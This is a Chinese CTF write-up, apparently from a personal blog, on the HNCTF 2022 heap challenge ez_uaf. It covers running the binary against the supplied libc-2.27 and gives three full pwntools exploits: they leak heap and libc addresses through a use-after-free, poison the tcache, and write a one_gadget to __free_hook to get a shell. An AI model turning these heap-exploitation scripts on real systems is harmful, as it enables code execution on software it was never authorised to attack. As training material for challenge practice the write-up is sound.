众所周知我以前还是一个PWN手,但是转密码后已经有4-5年没碰过PWN了
由于之前做PWN的时候还没开博客,所以以前学过的东西都忘得差不多了,
最近在做一些PWN的复健,于是顺便记录一下学习的心得,免得以后忘了又要重学
第0篇就先写一下怎么跑起一个PWN题和(适应自己风格的-)pwntools脚本的写法
既然讲跑PWN题就必须先有一道题目,我这里选择的是HNCTF 2022 WEEK4的ez_uaf ,没啥特别的原因,只是我刚好做到了这题。。。
看名字UAF就知道这是一道堆题,所以也可以顺便说一下一些UAF的打法
题目可从这里获得:https://www.nssctf.cn/problem/3105
本地调试环境搭建·
拿到题目后会有一个ez_uaf
和libc-2.27.so
,ez_uaf
就是题目的二进制程序,libc-2.27.so
就是远程环境使用的libc库,这些基础的PWN知识应该都知道的,不多说了
在本地中虽然可以直接把ez_uaf
跑起来,但是有一个问题是本地的libc库和远程的不一样,这就会造成程序运行的一些机制会不一样,也就是打的结果会不一样,简单来说就是,用本地库调的话最后可能会白打
另外有时候即使本地库的版本和远程的一样,也可能有区别,所以最好的做法是直接用题目给的库来跑程序
本地&远程版本一致·
如果你本地的libc库和远程环境的版本一样,可以直接用LD_LIBRARY_PATH=.
把程序跑起来
首先查看程序的链接情况
1 2 3 4 ✎ $ ldd ./ez_uaf linux-vdso.so.1 (0x00007ffdd9354000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f449c7d1000) /lib64/ld-linux-x86-64.so.2 (0x00007f449c9fd000)
这里需要链接的libc库名字叫做libc.so.6
,所以首先需要把题目的libc-2.27.so
换个名字
我推荐的做法是用软链接,在题目文件夹中运行
1 ln -s ./libc-2.27.so ./libc.so.6
当然也可以用绝对路径来链,不过如果脚本在同一目录跑的话问题不大
然后如果运气足够好的话,用
1 LD_LIBRARY_PATH=. ./ez_uaf
应该就可以把程序跑起来
本地&远程版本不一致·
一般来说不可能每次遇到的PWN题的库都和本地的版本一样,运气不会这么好
这里推荐我自己常用的一种换库方法
首先把libc库链接到程序中需要一个链接器,以我自己的Ubuntu 24.04为例,连接器就是
1 /lib64/ld-linux-x86-64.so.2 -> ../lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
一般链接器和libc库的版本是对应的,即对应版本的链接器才能链接对应版本的libc库
比如我本地的是libc-2.39
的链接器,而远程的是libc-2.27
,所以如果我直接用LD_LIBRARY_PATH=.
去跑的话大概率会爆奇怪的错误
1 2 ✎ $ LD_LIBRARY_PATH=. ./ez_uaf Inconsistency detected by ld.so: dl-call-libc-early-init.c: 37: _dl_call_libc_early_init: Assertion `sym != NULL' failed!
解决方法是,把程序的链接器更换掉,换成libc-2.27
的链接器
通常好一点的题目会把链接器和libc一起给你,但很显然这题不太好。。。
于是可以上网找一下有没现成的(反正我没找到),或者用上古方法 从源码编一个对应版本的libc,编的时候会顺便把链接器编好
这里如果你找不到的话可以直接用我编好的ld-2.27.so 来赣
然后拿到链接器ld-2.27.so
后,还需要让程序用我这个链接器去链接libc库
通过上面的ldd
输出可以知道程序认的链接器是/lib64/ld-linux-x86-64.so.2
,这个值是程序编译时写死在程序里的,所以可以直接用Vim把它改掉
PS:或者用patchelf
之类的工具也行,我个人嫌麻烦就直接Vim了
改之前首先备份一个,避免改坏
1 cp ./ez_uaf ./ez_uaf.bak
接着Vim打开,用/
搜索/lib64/ld-linux-x86-64.so.2
(理论上只有一个结果)
这里改的时候要满足一个规则,即改之前的长度和改之后的长度要一样,所以要改ld-2.27.so
搞一个长度一样的路径
可以参考我的做法,先在题目路径把ld-2.27.so
软连接成/lib64ld-linux-x86-64.so.2
1 ln -s ./ld-2.27.so ./lib64ld-linux-x86-64.so.2
然后把程序ez_uaf
中的/lib64/ld-linux-x86-64.so.2
改成./lib64ld-linux-x86-64.so.2
即可
PS:因为用的是相对路径,所以也是只能在题目路径中跑exp,一般情况下够用了
改完后
最后再用
1 LD_LIBRARY_PATH=. ./ez_uaf
应该就可以运行了
最终搞完的目录结构是
1 2 3 4 5 6 7 8 . ├── exp.py ├── ez_uaf ├── ez_uaf.bak ├── ld-2.27.so ├── lib64ld-linux-x86-64.so.2 -> ./ld-2.27.so ├── libc-2.27.so └── libc.so.6 -> ./libc-2.27.so
如果用pwntools
运行的话,需要在process
那把LD_LIBRARY_PATH
加到环境变量
参考代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *from time import sleepcontext.log_level = 'debug' context.terminal = ['wt.exe' , 'bash' , '-c' ] LOCAL = True if LOCAL: env = {'LD_LIBRARY_PATH' : '.' } r = process('./ez_uaf' , env=env) gdb.attach(r, gdbscript='' ) input ('Waiting GDB...' ) else : r = remote('node5.anna.nssctf.cn' , 22590 ) r.interactive() r.close()
PS:因为我实在wsl里运行的,所以还需要加上
1 context.terminal = ['wt.exe' , 'bash' , '-c' ]
不然不能在新窗口中弹出gdb
PPS:理论上如果用gdb打开的话,直接在gdb里面打
1 set environment LD_LIBRARY_PATH=.
就可以跑,但实际试过不行,原因可能是这句相当于在shell中运行
1 export LD_LIBRARY_PATH=.
因为我shell中的程序不是用libc-2.27
,所以就炸了
ez_uaf·
接下来稍微讲一下这题的做法
一般都是三板斧
找任意读,泄露程序基址、栈基址、堆基址、libc基址等信息
找任意写,找到能执行的地方把shell写进去然后执行
如果NX没开的话可以找任意执行,写shellcode
漏洞点·
在delete
函数中,对name
和content
的堆块free
后没有把指针设为0
,造成UAF漏洞
PS:我上图是修过结构体的,大概意思懂即可
或者可以在IDA的Local Types中右键 -> Add type -> C syntax -> 把下面的粘进去
1 2 3 4 5 6 7 8 struct Chunk { char *name; void *padding; char *contant; int size; int alive; };
然后把heaplist
类型改成Chunk *heaplist[16]
,F5
刷新
这些应该是逆向手的活,不归我教(
攻击思路·
大概的攻击思路是
通过UAF可以在delete
后,通过show
函数泄露堆的基址heap_base
通过把堆块弄到unsorted bin
中可以泄露main_arena
的地址,然后泄露libc的基址libc_base
泄露heap_base
和libc_base
后,可以用UAF改bins中堆块的连接关系,修改某个堆块的content
地址为malloc_hook
或者free_hook
结合edit
函数在malloc_hook
或者free_hook
上写one_gadget
调用malloc
或free
就可以get shell
Part.1 泄露heap_base·
泄露heap_base
是相对简单的,因为堆块被free
后在*bin
中是以链表的形式存储,所以就会在堆块中存储上一个和下一个堆块的地址(或者如果没有的话就存0
,表示NULL
)
而通过show
的UAF可以泄露name
和content
堆块的内容,也就可以在free
构造*bin
中的链后泄露堆地址
其中以name
的堆块为例,这个堆块大小固定是0x30
,在libc-2.27
中被free
后会被放到tcachebin
中
而tcachebin
中的堆块以单链表的形式存储,所以在free
掉两个堆块后就可以构造
1 chunk(2) -> chunk(1) -> NULL
这样在通过chunk(2)
的FD
指针就可以泄露chunk(1)
的地址,然后计算出heap_base
PS:至于为什么不搞chunk(1)
的BK
指针,是因为puts
时前面FD
指针的0
会截断输出,拿不到
Part.2 泄露libc_base·
泄露libc_base
稍微复杂一点,如果要在堆上摸到libc
库的地址的话,需要通过Unsorted Bin Attack
大概意思是,由于unsortedbin
是以循环双链表的形式存储,不像单链表那样可以快速地找到链头
所以会有一个叫arena
的东西(或者主线程中叫main_arena
),arena
会被当做一个假的chunk
存放在unsortedbin
中,好像是为了方便内存的管理,有空再研究研究(挖坑
这样的话,通过arena
可以找到unsortedbin
中的堆块
由于unsortedbin
是双向循环链表,所以反过来想,通过unsortedbin
上的堆块也可以拿到arena
的地址,而arena
是libc
上的结构体,也就相当于泄露了libc_base
PS:如果可以不把arena
放在unsortedbin
中的话,不久可以避免libc_base
泄露了,为啥一定要放进去也是原理未明
于是接下来的问题是,怎么把堆块发配到unsortedbin
中,首先看一下64位机器中各个bin
的大小(GPT说的,32位机器的话好像是砍半)
根据libc-2.27
的机制,在free
后好像是会先把堆块放到tcachebin
,如果tcachebin
被塞满了或者这个堆块的大小超过了tcachebin
限制的堆块大小(1032字节),就会分配到unsortedbin
,然后后续再分配到其他bin
中
所以这里就有两种方法
通过多次add
和delete
把tcachebin
填满,然后再次delete
后就会分配到unsortedbin
,一般tcachebin
的大小是7
,那么就是delete
第8
个的时候就会到unsortedbin
不过这个方法会有点麻烦,首先如果题目有add
或delete
操作次数限制的话就不能这样搞,其次是前面塞到tcachebin
中的堆块也不太好管理
通过delete
大小为0x410
以上的堆块,直接让它放到unsortedbin
中
缺点是如果malloc
时有堆块大小限制的话就没用,这题限制的大小是0x500
,所以可以这样搞
因为题目中name
和content
是分开的两个区块,所以可以把heap_base
的泄露合在一起做,就是
进行两次add
,分配两个content
大小为0x410
的堆块,同时也会分配两个大小为0x30
的name
堆块
依次删除chunk(1)
和chunk(2)
,对于name
就会形成
1 name(2) -> name(1) -> NULL
的链,用Part.1的方法就可以泄露heap_base
对于content
,理论上在两次delete
后会形成跟上面那个图一样的
1 content(2) <-> content(1) <-> main_arena <-> content(2)
但实际上并不是,因为仔细观察的话会发现,content(2)
其实是和top_chunk
相邻的堆块
对这样的堆块free
的时候,并不会扔进unsortedbin
中,而是会被top_chunk
吞掉
也就是实际形成的是只有content(1)
和main_arena
两个节点的循环双链表
1 content(1) <-> main_arena
但这也够了,因为在content(1)
中已经有libc
的地址,show
一下就可以泄露libc_base
Part.3 构造任意写·
接下来需要构造一个任意写,我的方法是利用UAF修改tcachebin
上的链
首先分配两个contnet
大小和前面不一样的区块,比如我的是0x40
,然后再依次delete
,这样再tcachebin
上就会形成
1 content(4) -> content(3) -> NULL
这是如果用UAF把content(4)
的FD
指针改成想要写的地址addr
,那么就是
这是只要再分配两个0x40
的堆块,第二个就会落到addr
中,实现堆上的任意写
PS:好像是因为tcachebin
中没有检查机制才能这样干,不然还要在写的地方构造堆块头
于是接着就可以随便找个堆块覆写里面content
的地址,然后调用edit
实现任意写
我的做法是,在exp
的开头首先add
一个堆块chunk(0)
,然后去覆写里面content
的地址
当然这样会多add
一个堆块,但是容易理解一点,反正题目给的次数也足够多
Part.4 free_hook写one_gadget·
最后的问题是,到底要写哪
因为目前不能泄露程序的基址,所以肯定不能覆写返回值
而在堆题中有两个很方便的地方叫malloc_hook
和free_hook
,这两个地方都在libc
中
大概原理是,在调用malloc
或者free
前,malloc_hook
或free_hook
上有东西的话,会先调用malloc_hook
或free_hook
指向的地址的内容
1 2 3 4 5 6 7 from pwn import *libc = ELF('libc-2.27.so' ) libc_malloc_hook = libc_base + libc.symbols['__malloc_hook' ] libc_free_hook = libc_base + libc.symbols['__free_hook' ] print (f'{hex (libc_malloc_hook) = } ' )print (f'{hex (libc_free_hook) = } ' )
至于要写啥,由于*_hook
上只能写一个地址,所以就是one_gadget 了
Exp·
Exp.1·
首先给一个正常的exp,就是按照上面所说流程写的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 from pwn import *from time import sleepcontext.log_level = 'debug' context.terminal = ['wt.exe' , 'bash' , '-c' ] T = 0.2 LOCAL = True if LOCAL: env = {'LD_LIBRARY_PATH' : '.' } r = process('./ez_uaf' , env=env) gdb.attach(r, gdbscript='' ) input ('Waiting GDB...' ) else : r = remote('node5.anna.nssctf.cn' , 22590 ) def add (size, name, content ): r.sendlineafter(b'Choice:' , b'1' ) r.sendafter(b'Size:' , str (size).encode()) r.sendafter(b'Name:' , name) r.sendafter(b'Content:' , content) sleep(T) def delete (idx ): r.sendlineafter(b'Choice:' , b'2' ) r.sendlineafter(b'Input your idx:' , str (idx).encode()) sleep(T) def show (idx ): r.sendlineafter(b'Choice:' , b'3' ) r.sendlineafter(b'Input your idx:\n' , str (idx).encode()) sleep(T) name = r.recvline() content = r.recvline() return {'n' : name, 'c' : content} def edit (idx, content ): r.sendlineafter(b'Choice:' , b'4' ) r.sendlineafter(b'Input your idx:' , str (idx).encode()) r.send(content) sleep(T) add(0x8 , b'aaa' , b'aaaaa' ) add(0x410 , b'bbb' , b'bbbbb' ) add(0x410 , b'ccc' , b'ccccc' ) delete(1 ) delete(2 ) heap_base = u64(show(2 )['n' ].split(b'\n' )[0 ].ljust(8 , b'\x00' )) - 0x2b0 print (f'{hex (heap_base) = } ' )libc_base = u64(show(1 )['c' ].split(b'\n' )[0 ].ljust(8 , b'\x00' )) - 0x3ebca0 print (f'{hex (libc_base) = } ' )add(0x40 , b'ddd' , b'ddddd' ) add(0x40 , b'eee' , b'eeeee' ) delete(3 ) delete(4 ) edit(4 , p64(heap_base + 0x250 )) libc = ELF('libc-2.27.so' ) libc_free_hook = libc_base + libc.symbols['__free_hook' ] print (f'{hex (libc_free_hook) = } ' )''' 0x4f302 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv ''' libc_ogg = libc_base + 0x4f302 ''' +0250 0x55cdc6fd5250 00 00 00 00 00 00 00 00 31 00 00 00 00 00 00 00 │........│1.......│ +0260 0x55cdc6fd5260 61 61 61 00 00 00 00 00 00 00 00 00 00 00 00 00 │aaa.....│........│ +0270 0x55cdc6fd5270 90 52 fd c6 cd 55 00 00 08 00 00 00 01 00 00 00 │.R...U..│........│ +0280 0x55cdc6fd5280 00 00 00 00 00 00 00 00 21 00 00 00 00 00 00 00 │........│!.......│ +0290 0x55cdc6fd5290 61 61 61 61 61 00 00 00 00 00 00 00 00 00 00 00 │aaaaa...│........│ ''' add(0x40 , b'fff' , b'fffff' ) add(0x40 , b'aaa' , p64(0 ) + p64(0x31 ) + b'pwn by Tover....' + p64(libc_free_hook) + p32(0x8 ) + p32(1 )) input ('> pwn' )edit(0 , p64(libc_ogg)) delete(0 ) r.interactive() r.close()
gdb自动化·
然后最近我发现在gdb.attach
调起gdb
的时候带上api=True
的话,就可以用pwntools
操纵gdb
,实现自动化调试,就不用每次gdb
都输入重复的命令来调试了,可以参考pwntools的文档
下面给一份不太正常的exp来参考参考
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 from pwn import *from time import sleepcontext.log_level = 'debug' context.terminal = ['wt.exe' , 'bash' , '-c' ] T = 0.2 LOCAL = True AUTOGDB = True if LOCAL: env = {'LD_LIBRARY_PATH' : '.' } r = process('./ez_uaf' , env=env) if AUTOGDB: gid, g = gdb.attach(r, api=True , gdbscript='' ) else : gdb.attach(r, gdbscript='' ) input ('Waiting GDB...' ) else : r = remote('node5.anna.nssctf.cn' , 22590 ) def add (size, name, content ): r.sendlineafter(b'Choice:' , b'1' ) r.sendafter(b'Size:' , str (size).encode()) r.sendafter(b'Name:' , name) r.sendafter(b'Content:' , content) sleep(T) def delete (idx ): r.sendlineafter(b'Choice:' , b'2' ) r.sendlineafter(b'Input your idx:' , str (idx).encode()) sleep(T) def show (idx ): r.sendlineafter(b'Choice:' , b'3' ) r.sendlineafter(b'Input your idx:\n' , str (idx).encode()) sleep(T) name = r.recvline() content = r.recvline() return {'n' : name, 'c' : content} def edit (idx, content ): r.sendlineafter(b'Choice:' , b'4' ) r.sendlineafter(b'Input your idx:' , str (idx).encode()) r.send(content) sleep(T) AUTOGDB and g.execute('c' ) and sleep(T) AUTOGDB and g.execute('p "leak heap_base"' ) and sleep(T) add(0x8 , b'aaa' , b'aaaaa' ) add(0x410 , b'bbb' , b'bbbbb' ) add(0x410 , b'ccc' , b'ccccc' ) AUTOGDB and g.execute('hexdump *(size_t*)$rebase(0x4060) 4096' ) and sleep(T) delete(1 ) delete(2 ) heap_base = u64(show(2 )['n' ].split(b'\n' )[0 ].ljust(8 , b'\x00' )) - 0x2b0 print (f'{hex (heap_base) = } ' )AUTOGDB and g.execute('p "leak libc_base"' ) and sleep(T) AUTOGDB and g.execute('hexdump %s 4096' % hex (heap_base)) and sleep(T) AUTOGDB and g.execute('bins' ) and sleep(T) AUTOGDB and g.execute('x/16gx $rebase(0x4060)' ) and sleep(T) libc_base = u64(show(1 )['c' ].split(b'\n' )[0 ].ljust(8 , b'\x00' )) - 0x3ebca0 print (f'{hex (libc_base) = } ' )AUTOGDB and g.execute('p "random write"' ) and sleep(T) add(0x40 , b'ddd' , b'ddddd' ) add(0x40 , b'eee' , b'eeeee' ) delete(3 ) delete(4 ) edit(4 , p64(heap_base + 0x250 )) AUTOGDB and g.execute('hexdump %s 4096' % hex (heap_base)) and sleep(T) AUTOGDB and g.execute('bins' ) and sleep(T) libc = ELF('libc-2.27.so' ) libc_free_hook = libc_base + libc.symbols['__free_hook' ] print (f'{hex (libc_free_hook) = } ' )''' 0x4f302 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv ''' libc_ogg = libc_base + 0x4f302 ''' +0250 0x55cdc6fd5250 00 00 00 00 00 00 00 00 31 00 00 00 00 00 00 00 │........│1.......│ +0260 0x55cdc6fd5260 61 61 61 00 00 00 00 00 00 00 00 00 00 00 00 00 │aaa.....│........│ +0270 0x55cdc6fd5270 90 52 fd c6 cd 55 00 00 08 00 00 00 01 00 00 00 │.R...U..│........│ +0280 0x55cdc6fd5280 00 00 00 00 00 00 00 00 21 00 00 00 00 00 00 00 │........│!.......│ +0290 0x55cdc6fd5290 61 61 61 61 61 00 00 00 00 00 00 00 00 00 00 00 │aaaaa...│........│ ''' AUTOGDB and g.execute('p "write ogg to free hook"' ) and sleep(T) add(0x40 , b'fff' , b'fffff' ) AUTOGDB and g.execute('bins' ) and sleep(T) add(0x40 , b'aaa' , p64(0 ) + p64(0x31 ) + b'pwn by Tover....' + p64(libc_free_hook) + p32(0x8 ) + p32(1 )) AUTOGDB and g.execute('hexdump %s 256' % hex (heap_base + 0x250 )) and sleep(T) AUTOGDB and g.execute('x/16gx $rebase(0x4060)' ) and sleep(T) AUTOGDB and g.execute('x/gx %s' % hex (libc_free_hook)) and sleep(T) input ('> pwn' )AUTOGDB and g.execute('p "pwn"' ) and sleep(T) edit(0 , p64(libc_ogg)) delete(0 ) r.interactive() r.close()
Exp.2·
上面也说了可以通过塞满tcachebin
泄露libc_base
这里也给一份参考代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 from pwn import *from time import sleepcontext.terminal = ['wt.exe' , 'bash' , '-c' ] T = 0.2 LOCAL = True if LOCAL: env = {'LD_LIBRARY_PATH' : '.' } r = process('./ez_uaf' , env=env) gdb.attach(r, gdbscript='' ) input ('Waiting GDB...' ) else : r = remote('node5.anna.nssctf.cn' , 22590 ) def add (size, name, content ): r.sendlineafter(b'Choice:' , b'1' ) r.sendafter(b'Size:' , str (size).encode()) r.sendafter(b'Name:' , name) r.sendafter(b'Content:' , content) sleep(T) def delete (idx ): r.sendlineafter(b'Choice:' , b'2' ) r.sendlineafter(b'Input your idx:' , str (idx).encode()) sleep(T) def show (idx ): r.sendlineafter(b'Choice:' , b'3' ) r.sendlineafter(b'Input your idx:\n' , str (idx).encode()) sleep(T) return r.recvline() def edit (idx, content ): r.sendlineafter(b'Choice:' , b'4' ) r.sendlineafter(b'Input your idx:' , str (idx).encode()) r.send(content) sleep(T) add(0x30 , b'aaa' , b'aaaaa' ) add(0x30 , b'bbb' , b'bbbbb' ) add(0x30 , b'ccc' , b'ccccc' ) delete(0 ) delete(1 ) heap_base = u64(show(1 ).split(b'\n' )[0 ].ljust(8 , b'\x00' )) - 0x260 print (f'{hex (heap_base) = } ' )for i in range (9 ): add(0x100 , str (i).encode() * 3 , str (i).encode() * 5 ) for i in range (9 ): delete(3 + i) libc_base = u64(show(10 ).split(b'\n' )[0 ].ljust(8 , b'\x00' )) - 0x3ebca0 print (f'{hex (libc_base) = } ' )add(0x40 , b'ddd' , b'bbbbb' ) add(0x40 , b'eee' , b'ccccc' ) delete(12 ) delete(13 ) edit(13 , p64(heap_base + 0x330 )) add(0x40 , b'fff' , b'fffff' ) ''' +00e0 0x555c4ece0330 00 00 00 00 00 00 00 00 31 00 00 00 00 00 00 00 +00f0 0x555c4ece0340 63 63 63 00 00 00 00 00 00 00 00 00 00 00 00 00 +0100 0x555c4ece0350 70 03 ce 4e 5c 55 00 00 30 00 00 00 01 00 00 00 +0110 0x555c4ece0360 00 00 00 00 00 00 00 00 41 00 00 00 00 00 00 00 +0120 0x555c4ece0370 63 63 63 63 63 00 00 00 00 00 00 00 00 00 00 00 ''' libc = ELF('libc-2.27.so' ) libc_free_hook = libc_base + libc.symbols['__free_hook' ] print (f'{hex (libc_free_hook) = } ' )''' 0x4f302 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv ''' libc_ogg = libc_base + 0x4f302 add(0x40 , b'eee' , p64(0 ) + p64(0x31 ) + b'pwn by Tover....' + p64(libc_free_hook) + p32(0x30 ) + p32(1 )) edit(2 , p64(libc_ogg)) input ('> hook' )delete(2 ) r.interactive() r.close()